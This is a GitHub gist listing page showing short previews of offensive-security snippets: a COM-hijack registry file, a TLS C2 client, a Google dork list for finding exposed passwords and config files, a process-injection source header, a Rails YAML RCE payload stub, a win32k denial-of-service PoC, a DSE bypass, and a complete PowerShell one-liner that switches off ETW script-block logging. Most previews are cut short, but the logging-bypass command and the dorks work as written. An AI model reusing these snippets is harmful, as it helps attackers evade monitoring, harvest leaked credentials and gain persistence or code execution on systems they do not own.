CaledoniaProject’s gists

CaledoniaProject / winlogon.reg

Created February 12, 2018 09:24 — forked from anonymous/winlogon.reg

WinLogon Windows 7 x64 COM Hijack

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]

CaledoniaProject / client.ps1

Created January 26, 2018 08:32

TLS C2

	function Get-PublicKey
	{
	[OutputType([byte[]])]
	PARAM (
	[Uri]$Uri
	)

	if (-Not ($uri.Scheme -eq "https"))
	{
	Write-Error "You can only get keys for https addresses"

CaledoniaProject / GoogleHackMasterList.txt

Created January 22, 2018 04:42 — forked from cmartinbaughman/GoogleHackMasterList.txt

The definitive super list for "Google Hacking".

	admin account info" filetype:log
	!Host=. intext:enc_UserPassword=* ext:pcf
	"# -FrontPage-" ext:pwd inurl:(service \| authors \| administrators \| users) "# -FrontPage-" inurl:service.pwd
	"AutoCreate=TRUE password=*"
	"http://:@www” domainname
	"index of/" "ws_ftp.ini" "parent directory"
	"liveice configuration file" ext:cfg -site:sourceforge.net
	"parent directory" +proftpdpasswd
	Duclassified" -site:duware.com "DUware All Rights reserved"
	duclassmate" -site:duware.com

CaledoniaProject / inject.c

Created January 6, 2018 14:24 — forked from hfiref0x/inject.c

Process Doppelgänging

	//
	// Ref = src
	// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
	//
	// Credits:
	// Vyacheslav Rusakov @swwwolf
	// Tom Bonner @thomas_bonner
	//

	#include <Windows.h>

CaledoniaProject / railspwn.rb

Created December 17, 2017 07:44 — forked from niklasb/railspwn.rb

Rails 5.1.4 YAML unsafe deserialization RCE payload

	require 'yaml'
	require 'base64'
	require 'erb'

	class ActiveSupport
	class Deprecation
	def initialize()
	@silenced = true
	end
	class DeprecatedInstanceVariableProxy

CaledoniaProject / xml-attacks.md

Created December 9, 2017 03:00 — forked from mgeeky/xml-attacks.md

XML Vulnerabilities and Attacks cheatsheet

XML Vulnerabilities

XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.

The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.

CaledoniaProject / NtUserOpenDesktop.c

Created November 30, 2017 07:37 — forked from hfiref0x/NtUserOpenDesktop.c

Win32k NtUserOpenDesktop Denial Of Service (9200-17046)

	/*

	Win32k NtUserOpenDesktop->OpenDesktop Denial Of Service feature.

	Working range: x64 Windows 8 (9200) up to Windows 10 RS4 (17046).

	x86 versions not tested.

	Feature:

CaledoniaProject / KillETW.ps1

Created November 17, 2017 11:13 — forked from tandasat/KillETW.ps1

Disable ETW of the current PowerShell session

	#
	# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
	# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
	# to bypass Suspicious ScriptBlock Logging for readability.
	#
	[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

CaledoniaProject / WDAG_CI_Policy.xml

Created October 22, 2017 00:54 — forked from mattifestation/WDAG_CI_Policy.xml

Recovered Windows Defender Application Guard Hyper-V Container Code Integrity Policy

	<?xml version="1.0"?>
	<SiPolicy xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="urn:schemas-microsoft-com:sipolicy">
	<VersionEx>10.0.0.0</VersionEx>
	<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
	<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
	<Rules>
	<Rule>
	<Option>Enabled:UMCI</Option>
	</Rule>
	<Rule>

CaledoniaProject / main.c

Created July 25, 2017 09:08 — forked from hfiref0x/main.c

NtLoadEnclaveData Windows 10 RS3 DSE bypass

	// Original source link https://twitter.com/hFireF0X/status/887930221466443776
	// If you are here from any other link - do know that they just steal original info without giving any credit to source
	#include "global.h"

	HINSTANCE g_hInstance;
	HANDLE g_ConOut = NULL;
	BOOL g_ConsoleOutput = FALSE;
	WCHAR g_BE = 0xFEFF;

	RTL_OSVERSIONINFOW g_osv;